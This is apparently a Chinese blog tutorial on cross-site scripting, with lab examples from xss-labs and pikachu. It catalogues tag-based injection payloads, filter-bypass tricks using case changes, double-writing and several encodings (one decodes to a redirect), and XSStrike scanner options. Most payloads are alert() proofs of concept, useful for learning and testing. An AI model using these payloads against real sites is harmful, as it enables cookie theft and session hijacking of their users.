【Web安全】XSS攻击与绕过
文章目录
- 【Web安全】XSS攻击与绕过
-
- [1. XSS攻击是啥?](#1. XSS攻击是啥?)
- [2. XSS如何发生?](#2. XSS如何发生?)
- [3. XSS分类](#3. XSS分类)
-
- [3.1. 反射型](#3.1. 反射型)
- [3.2. 存储型](#3.2. 存储型)
- [3.3. DOM型](#3.3. DOM型)
- [4. XSS攻击方式](#4. XSS攻击方式)
-
- [1. script标签](#1. script标签)
- [2. img标签](#2. img标签)
- [3. input标签](#3. input标签)
- [4. details标签](#4. details标签)
- [5. svg标签](#5. svg标签)
- [6. select标签](#6. select标签)
- [7. iframe标签](#7. iframe标签)
- [8. video标签](#8. video标签)
- [9. audio标签](#9. audio标签)
- [10. body标签](#10. body标签)
- [11. textarea标签](#11. textarea标签)
- [5. 常见绕过方式](#5. 常见绕过方式)
-
- [1. 空格过滤](#1. 空格过滤)
- [2. 引号过滤](#2. 引号过滤)
- [3. 括号过滤](#3. 括号过滤)
- [4. 关键词过滤](#4. 关键词过滤)
- [5. 编码绕过](#5. 编码绕过)
- [6. url地址过滤](#6. url地址过滤)
- [7. 伪协议](#7. 伪协议)
- [6. xsstrike](#6. xsstrike)
1. XSS攻击是啥?
XSS(跨站脚本攻击)是一种常见的网络安全漏洞,它允许攻击者将恶意脚本注入到网页中,以便在用户的浏览器上执行。这些恶意脚本通常是JavaScript代码(当然不限于js代码,java,vbscript,activeX,Flash,HTML也能够构造攻击),可以利用浏览器的漏洞来窃取用户信息、篡改网页内容、跳转到恶意网站等。
XSS攻击的原理是通过在网页中注入恶意脚本,这些脚本会在用户浏览该网页时执行。攻击者可以利用各种方式将恶意脚本注入到网页中,包括在输入框中输入恶意代码、通过URL参数传递恶意脚本、利用未经过滤的用户输入等。
XSS攻击的危害包括但不限于:
- 网络钓鱼、盗取用户信息如Cookie
- 弹出广告页面,获取相关利益。
- 劫持用户会话,执行任意操作
- 传播蠕虫病毒。
2. XSS如何发生?
例如:<input type="text" name="name" value="">
当用户输入不是正常想要输入的内容,而是输入一串代码:"/><script>alert(document.cookie)</script>。
变成:<input type="text" name="name" value=""/><script>alert(document.cookie)</script>">从而代码就会执行。这个过程中涉及构造闭合,构造js代码。
常见的XSS发生位置有评论区,留言区,个人信息等,这些都能够存储在服务器的并且大规模传播的风险比较高,因为不同用户只要看到这个页面就会触发脚本攻击,管理员也是。同样的中低风险,常见于私信、搜索框、URL、筛选等,这些可以构造特定用户攻击、网络钓鱼等。
3. XSS分类
XSS攻击常见分三类:反射性、存储型、DOM型
3.1. 反射型
反射型XSS的原理就是将用户输入的内容作为代码让浏览器执行,一般需要引诱用户访问攻击者构建的URL。这种类型的攻击指发生在客户端上,并且需要访问带有恶意的参数特制的URL,所以也称之为非持久型XSS。
- 攻击者构造了一个包含恶意代码的URL并把它发给受害者,比如说发送受害者信息。
- 受害者点击攻击者构造的URL,网站执行并响应
- 受害者浏览器执行响应中的恶意脚本,将受害者的cookies信息发给攻击者服务器。
比如说xss-labs第一关http://192.168.255.128/xss-labs-master/level1.php?name=\<script>alert(document.cookie)</script>,参数name后面是攻击者构建的代码,这一串代码的作用是弹出cookie信息,当然也可以让它发送到特定网站,攻击者只要柔诱导受害者点击这个信息就会产生攻击。
3.2. 存储型
存储型XSS是将脚本永远嵌入某一个页面中,当用户访问的时候就会触发执行,从而用户受到相关的攻击。并且该类型的攻击主要发生在服务端,所有用户访问该页面都将受到相应的攻击,所以也称之为持久型XSS。
- 攻击者利用网站的一个表单(比如说评论区、留言区),将恶意字符串即脚本代码插入到网站数据库中。
- 受害者向网站请求页面,网站产生响应,引入恶意字符串发送给受害者。
- 受害者浏览器识别出这时脚本代码,并执行。
比如说pikachu靶场的存储型XSS,我们把**hahahaha<script>alert("xss")/script>**发送到留言板,查看源代码发现js代码成功嵌入。
3.3. DOM型
DOM型XSS攻击(Document Object Model Cross-Site Scripting)是一种特殊的XSS攻击,其原理是利用客户端浏览器对DOM(文档对象模型)的操作进行攻击。与传统的XSS攻击不同,DOM型XSS攻击不需要服务器端的参与,而是完全在客户端执行。
DOM型XSS攻击的主要原理是攻击者通过构造恶意URL,向目标网页传递参数,然后在客户端浏览器中执行恶意脚本。当目标网页的JavaScript代码解析URL参数并将其插入到DOM中时,如果没有对参数进行适当的过滤和处理,就可能导致恶意脚本的执行。
可以说和反射型xss区别不大,只不过DOM没有于服务器进行交互,完全是在前端进行的。
例如pikachu的XSS-DOM,抓包试试,完全没有任何数据包:
4. XSS攻击方式
1. script标签
<script>alert("xss");</script>
注释 :这是最基本的XSS攻击形式。通过插入<script>
标签,攻击者可以在受害者的浏览器上执行任意JavaScript代码。在这个例子中,它会显示一个警告框,显示消息"xss"。
2. img标签
<img src=1 onerror=alert("xss")>
注释 :利用<img>
标签的onerror
事件。如果图片加载失败(例如,src
设置为不存在的资源),则执行onerror
中的JavaScript代码。
3. input标签
<input onblur=alert("xss") autofocus><input autofocus>
<input onfocus=alert("xss")>
<input onclick=alert("xss")>
<input onmouseover=alert("xss")>
注释 :通过在<input>
标签的事件处理器中嵌入代码。例如,onblur
事件在元素失去焦点时触发,onfocus
在元素获得焦点时触发,onclick
在点击时触发,onmouseover
在鼠标悬停时触发。
4. details标签
<details ontoggle=alert("xss");>
注释 :利用HTML5的<details>
标签,当用户切换显示/隐藏详情时,触发ontoggle
事件。
5. svg标签
<svg onload=alert("xss")>
注释 :使用SVG图像格式的<svg>
标签。onload
事件在SVG加载完成时触发,可以用于执行恶意代码。
6. select标签
<select onfocus=alert("xss")></select>
<select onfocus=alert("xss") autofocus>
注释 :在<select>
标签中使用onfocus
事件。当下拉列表获得焦点时,触发JavaScript代码。
7. iframe标签
<iframe onload=alert("xss")></iframe>
注释 :利用<iframe>
标签的onload
事件。当iframe加载完成后,执行指定的JavaScript代码。
8. video标签
<video><source onerror=alert("xss")>
注释 :通过<video>
标签中的<source>
元素的onerror
事件。如果视频源文件加载失败,将执行错误处理代码。
9. audio标签
<audio src=1 onerror=alert("xss")>
注释 :与<img>
标签类似,这里使用<audio>
标签的onerror
事件来执行代码。如果音频文件加载失败,将触发onerror
事件。
10. body标签
<body onload=alert("xss")>
注释 :在HTML的<body>
标签的onload
事件中嵌入代码。当页面加载完成时,会执行此代码。
11. textarea标签
<textarea onfocus=alert("xss"); autofocus>
注释 :使用<textarea>
元素的onfocus
事件。当文本区域获得焦点时,将执行指定的JavaScript代码。
5. 常见绕过方式
这里只是列举出常见的,详细看这个XSS攻击绕过过滤方法大全(转)
1. 空格过滤
当空格被过滤了,可以用**/和注释符**代替空格,
<img/src="x"/onerror=alert(1);>
<img/**/src="x"/**/onerror=alert(1);>
2. 引号过滤
在html中可以不使用引号,在js中,可以用反引号代替单双引号
<img src=x onerror=alert(`xss`);>
除了单引号其他都被编码,可以试试onclick
3. 括号过滤
当括号被过滤的时候可以使用throw来绕过。throw 语句用于当错误发生时抛出一个错误。(末尾有解释)
<img src=x onerror="javascript:window.onerror=alert;throw 1">
<a onmouseover="javascript:window.onerror=alert;throw 1>
4. 关键词过滤
关键词过滤可能可以使用大小写绕过、双写绕过、字符串拼接绕过
<sCRiPt>alert(1);</sCrIpT>
<scrscriptipt>alert(1);</scrscriptipt>
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)"> 反引号代替单双引号
5. 编码绕过
使用Unicode、url、Ascii、hex、base64绕过
// Unicode
javascript:alert(/xss/) (编码了r和i)
// url
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
// Ascii
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
// hex
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
// base64
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
6. url地址过滤
// 使用URL编码
// 十进制、八进制、十六进制IP
// 用//代替http://
// 使用中文句号代替英文点号
7. 伪协议
"><a href=javascript:alert(/xss/)> o_n和<scr_ipt>过滤
6. xsstrike
版本:XSStrike v3.1.5
项目地址:
https://github.com/s0md3v/XSStrike
参数 | 描述 | 使用示例 |
---|---|---|
-h , --help |
显示帮助信息并退出 | python3 xsstrike.py -h |
-u TARGET , --url TARGET |
指定目标URL | python3 xsstrike.py -u http://example.com/111.php?q=123 |
--data PARAMDATA |
提供POST数据 | python3 xsstrike.py --data "username=admin" |
-e ENCODE , --encode ENCODE |
有效载荷编码 | python3 xsstrike.py -e base64 |
--fuzzer |
启动模糊测试器 | python3 xsstrike.py --fuzzer |
--update |
更新XSstrike | python3 xsstrike.py --update |
--timeout TIMEOUT |
设置请求超时时间 | python3 xsstrike.py --timeout 10 |
--proxy |
使用代理服务器 | python3 xsstrike.py --proxy http://127.0.0.1:8080 |
--crawl |
爬行目标网站以发现更多页面 | python3 xsstrike.py --crawl |
--json |
将POST数据视为JSON | python3 xsstrike.py --data '{"user":"admin"}' --json |
--path |
在路径中注入有效Payload | python3 xsstrike.py --url http://example.com --path |
--seeds ARGS_SEEDS |
从文件加载URL作为种子 | python3 xsstrike.py --seeds urls.txt |
-f ARGS_FILE , --file ARGS_FILE |
从文件加载有效Payload | python3 xsstrike.py -f payloads.txt |
-l LEVEL , --level LEVEL |
设置爬行深度级别 | python3 xsstrike.py --level 2 |
--headers [ADD_HEADERS] |
添加HTTP头部 | python3 xsstrike.py --headers "User-Agent: Custom" |
-t THREADCOUNT , --threads THREADCOUNT |
设置线程数量 | python3 xsstrike.py --threads 5 |
-d DELAY , --delay DELAY |
设置请求之间的延迟时间 | python3 xsstrike.py --delay 1 |
--skip |
跳过确认对话框和PoC(概念验证) | python3 xsstrike.py --skip |
--skip-dom |
跳过DOM检查 | python3 xsstrike.py --skip-dom |
--blind |
在爬行时注入盲目XSS有效Payload | python3 xsstrike.py --blind |
--console-log-level {DEBUG,INFO,RUN,GOOD,WARNING,ERROR,CRITICAL,VULN} |
设置控制台日志级别 | python3 xsstrike.py --console-log-level INFO |
--file-log-level {DEBUG,INFO,RUN,GOOD,WARNING,ERROR,CRITICAL,VULN} |
设置文件日志级别 | python3 xsstrike.py --file-log-level DEBUG |
--log-file LOG_FILE |
设置日志文件的名称 | python3 xsstrike.py --log-file xsstrike.log |